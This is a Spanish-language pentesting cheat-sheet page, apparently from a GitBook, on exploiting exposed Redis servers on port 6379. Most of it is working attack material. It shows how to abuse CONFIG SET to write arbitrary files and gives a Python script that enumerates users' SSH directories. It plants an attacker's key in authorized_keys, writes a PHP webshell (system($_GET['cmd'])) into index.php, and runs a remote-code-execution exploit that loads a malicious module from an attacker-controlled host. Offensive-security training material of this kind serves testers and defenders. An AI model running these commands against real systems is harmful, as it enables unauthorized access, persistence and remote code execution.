🔴
Pentesting, Ethical Hacking & Offensive Security
  • Inicio
  • General
    • Metodologías y estándares
    • Vulnerabilidades
    • Bases de datos de vulnerabilidades
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Información general
    • Información de recursos en Internet
    • Direcciones IP y ASN
    • Hosts
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
    • Web Application Firewall (WAF)
    • Sistema operativo
    • Google hacking / dorks
    • Buckets
  • Escaneo y enumeración
    • Descubrimiento de host
    • Sniffing y MitM attack
    • Escaneo de puertos
    • Identificación de servicios
    • Servicios
      • 21/TCP (FTP)
      • 22/TCP (SSH)
      • 25/TCP, 465/TCP, 587/TCP (SMTP/S)
      • 80/TCP, 443/TCP (HTTP/S)
      • 137/UDP, 138/UDP, 139/TCP (NetBIOS)
      • 161/UDP, 162/UDP (SNMP)
      • 389/TCP/UDP, 636/TCP, 3268/TCP, 3269/TCP (LDAP)
      • 445/TCP (SMB)
      • 1433/TCP (MSSQL Server)
      • 2049/TCP (NFS)
      • 3306/TCP (MySQL)
      • 3389/TCP (RDP)
      • 6379/TCP (Redis)
      • 27017/TCP (MongoDB)
    • Herramientas automatizadas
  • Explotación
    • Ataques de contraseñas
      • Wordlists y diccionarios
      • Fuera de línea (offline)
        • Archivo passwd y shadow
        • Archivo SAM y SYSTEM
        • Archivos zip
        • Hashes
      • En línea (online)
        • Hash
        • Password spraying
        • 21/TCP (FTP)
        • 22/TCP (SSH)
        • 23/TCP (Telnet)
        • 80/TCP, 443/TCP (HTTP/S)
        • 161/UDP, 162/UDP (SNMP)
        • 445/TCP (SMB)
        • 3306/TCP (MySQL)
        • 5985/TCP, 5986/TCP (WinRM)
    • Web
    • Active Directory
    • Mobile
    • Wireless
    • Servicios
      • 22/TCP (SSH)
      • 53/TCP, 53/UDP (DNS)
      • 80/TCP, 443/TCP (HTTP/S)
      • 445/TCP (SMB)
      • 161/UDP, 162/UDP (SNMP)
      • 1433/TCP (MSSQL Server)
      • 2049/TCP (NFS)
      • 3389/TCP (RDP)
      • 5985/TCP, 5986/TCP (WinRM)
      • 6379/TCP (Redis)
      • Git
    • Vulnerabilidades
      • CVE-2009-3103 / MS09-050
      • Netapi (MS08-067)
      • Heartbleed (CVE-2014-0160)
      • Shellshock / Bashdoor (CVE-2014-6271)
      • EternalBlue (CVE-2017-0144 / MS17-010)
    • Shells
      • General
      • MSFvenom
      • Linux/Unix
      • Windows
    • Stack-Based Buffer Overflow Windows x86
  • Escalamiento de privilegios
    • Transferencia de archivos
    • Linux/Unix
      • Información general
      • Búsqueda de archivos y directorios
      • Sudo / SUID (Set User ID)
      • Grupos
      • Capabilities
      • Herramientas automatizadas
      • PATH Variable
      • Python Library Hijacking
      • 2049/TCP (NFS)
    • Windows
      • Información general
      • Búsqueda de archivos
      • Herramientas automatizadas
      • Metasploit
      • Always install elevated
      • SeImpersonate / SeAssignPrimaryToken
      • Servicios
        • Permisos de servicio inseguros
        • Ruta de servicio sin comillas
  • Post explotación
    • Pillaging
    • Persistencia
      • Windows
    • Pivoting
      • chisel
      • Metasploit
      • Port forwarding
      • Proxy
      • socat
      • SSH Tunneling
      • Tabla de enrutamiento
Con tecnología de GitBook
En esta página
  • Verificación de existencia de autenticación
  • redis-cli
  • Modificación de archivo
  • SSH
  • Enumeración manual de usuario y su directorio
  • Enumeración automatizada de usuarios y su directorio (script Python)
  • Generación de nueva llave publica/privada
  • Carga de llave publica en archivo "authorized_keys"
  • Conexión a servicio SSH utilizando llave privada
  • Exploit automatizado
  • Webshell
  • Exploits
  • Metasploit

¿Te fue útil?

  1. Explotación
  2. Servicios

6379/TCP (Redis)

Verificación de existencia de autenticación

telnet <target> 6379
echo "verificación de autenticación"
$31
verificación de autenticación
quit
+OK
Connection closed by foreign host.

redis-cli

redis-cli -h <target> -p 6379
INFO # obtiene información general de Redis
CONFIG GET dir # obtiene directorio actual
CONFIG SET dir "/<path>/" # realiza cambio de directorio
  • -h = host.

    • <target> = objetivo.

  • -p = puerto 6379/TCP.

Modificación de archivo

redis-cli -h <target> -p 6379
CONFIG SET dir "/<path>/" # directorio del archivo a modificar
CONFIG SET dbfilename "<file-name>" # selecciona archivo a modificar
set <any-name> "contenido a modificar en archivo" # modifica contenido de archivo
save
  • -h = host.

    • <target> = objetivo.

  • -p = puerto 6379/TCP.

SSH

Enumeración manual de usuario y su directorio

redis-cli -h <target> -p 6379
CONFIG SET dir "/home/<user>/.ssh"
  • -h = host.

    • <target> = objetivo.

  • -p = puerto 6379/TCP.

  • <user> = usuario.

Enumeración automatizada de usuarios y su directorio (script Python)

import redis

wordlist = "<path-wordlist-usernames>"
pathTemplate = "/home/%(user)s/.ssh"
RedisHost = "<IP>"
RedisPort = 6379

with open(wordlist, "r") as wl:
    usernames = wl.readlines()
    wl.close()

r = redis.StrictRedis(host=RedisHost, port=RedisPort, db=0)
i = 1.0
paths = []

for username in usernames:
    u = username.strip('\r\n')
    path = pathTemplate % {'user': u}
    try:
        r.config_set("dir", path)
        paths.append(path)
        print ("Found: %s" % path)
    except Exception:
        pass
print ("Progress: %2.3f%% \r" % ((100*i)/len(usernames))),
i += 1

Generación de nueva llave publica/privada

ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > id_rsa.txt

Carga de llave publica en archivo "authorized_keys"

redis-cli -h <IP> flushall
cat id_rsa.txt | redis-cli -h <IP> -x set key-id_rsa

redis-cli -h <IP>
config set dir <directory-user>/.ssh/
config set dbfilename "authorized_keys"
save

Conexión a servicio SSH utilizando llave privada

ssh -i id_rsa <user>@<IP>

Exploit automatizado

Webshell

redis-cli -h <target> -p 6379
CONFIG SET dir "/<path>/" # directorio del archivo a modificar
CONFIG SET dbfilename "index.php" # selecciona archivo a modificar
set <any-name> "<?php system($_GET['cmd']);?>" # modifica contenido de archivo
save

Exploits

Metasploit

use exploit/linux/redis/redis_replication_cmd_exec
python3 redis-rce.py -r <target> -p 6379 -L <attacker-IP-address> -P <listen-port> -f exp_lin.so
Anterior5985/TCP, 5986/TCP (WinRM)SiguienteGit

Última actualización hace 1 año

¿Te fue útil?

https://github.com/Avinash-acid/Redis-Server-Exploit
https://github.com/jas502n/Redis-RCE